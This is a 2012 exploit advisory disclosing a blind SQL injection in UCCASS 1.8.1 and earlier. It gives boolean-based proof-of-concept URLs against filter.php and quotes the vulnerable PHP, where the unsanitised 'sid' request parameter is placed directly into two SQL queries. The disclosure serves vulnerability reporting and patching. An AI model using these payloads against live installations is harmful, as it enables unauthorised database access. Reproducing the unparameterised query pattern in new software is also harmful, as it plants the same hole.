UCCASS 1.8.1 Blind SQL Injection

`:::::::-. ... ::::::. :::.  
;;, `';, ;; ;;;`;;;;, `;;;  
`[[ [[[[' [[[ [[[[[. '[[  
$$, $$$$ $$$ $$$ "Y$c$$  
888_,o8P'88 .d888 888 Y88  
MMMMP"` "YmmMMMM"" MMM YM  
  
[ Discovered by dun \ posdub[at]gmail.com ]  
[ 2012-06-22 ]  
#################################################################  
# [ UCCASS <= v1.8.1 ] Blind SQL Injection Vulnerability #  
#################################################################  
#  
# Script: "The Unit Command Climate Assessment and Survey System (UCCASS) (pronounced yoo-kas)  
# is a PHP based survey script that allows you to create online surveys..."  
#  
# Vendor: http://sourceforge.net/projects/uccass/  
# Download: http://sourceforge.net/projects/uccass/files/latest/download  
#  
################################################################  
#  
# [SQL]  
#  
# Versions affected: v1.8.1 and previous  
#  
# Vuln: http://localhost/uccass/filter.php?sid=-1 or 1=1-- (true)  
# http://localhost/uccass/filter.php?sid=-1 or 1=2-- (false)  
#  
  
File: ./uccass/filter.php  
...cut...  
<?php  
  
include('classes/main.class.php');  
include('classes/results.class.php'); // 1 definition of filter function  
  
$survey = new UCCASS_Results;  
  
echo $survey->com_header("Filter Survey Results");  
  
echo $survey->filter($_REQUEST['sid']); // 2 unfiltered $_REQUEST['sid'] var  
  
echo $survey->com_footer();  
  
?>  
...cut...  
  
File: ./uccass/classes/results.class.php ( lines: 441-479 )  
...cut...  
function filter($sid)  
{  
$x = 0;  
$qid_list = '';  
  
foreach($_REQUEST['select_qid'] as $qid)  
{ $qid_list .= (int)$qid . ','; }  
$qid_list = substr($qid_list,0,-1);  
  
$query = "SELECT at.aid, q.qid, q.question, s.survey_text_mode  
FROM {$this->CONF['db_tbl_prefix']}answer_types at,  
{$this->CONF['db_tbl_prefix']}questions q, {$this->CONF['db_tbl_prefix']}surveys s  
WHERE q.aid = at.aid AND q.sid = $sid AND q.qid IN ($qid_list) AND at.type IN ('MM','MS') // 3 [SQL]  
AND q.sid = s.sid  
ORDER BY q.page, q.oid";  
$rs = $this->db->Execute($query);  
  
$old_aid = '';  
if($rs === FALSE) { $this->error("Error selecting filter questions: " . $this->db->ErrorMsg()); }  
if($r = $rs->FetchRow())  
{  
do  
{  
$question['question'][] = nl2br($this->SfStr->getSafeString($r['question'],$r['survey_text_mode']));  
$question['encquestion'][] = $this->SfStr->getSafeString($r['question'],SAFE_STRING_TEXT);  
$question['aid'][] = $r['aid'];  
$question['qid'][] = $r['qid'];  
$temp = $this->get_answer_values($r['aid'],BY_AID,$r['survey_text_mode']);  
$question['value'][] = $temp['value'];  
$question['avid'][] = $temp['avid'];  
$x++;  
}while($r = $rs->FetchRow());  
$this->smarty->assign("question",$question);  
}  
$rs = $this->db->Execute("SELECT MIN(entered) AS mindate,  
MAX(entered) AS maxdate FROM  
{$this->CONF['db_tbl_prefix']}results WHERE sid = $sid"); // 4 [SQL]  
if($rs === FALSE) { $this->error("Error selecting min/max survey dates: " . $this->db->ErrorMsg()); }  
$r = $rs->FetchRow();  
...cut...  
  
### [ dun / 2012 ] #####################################################  
  
`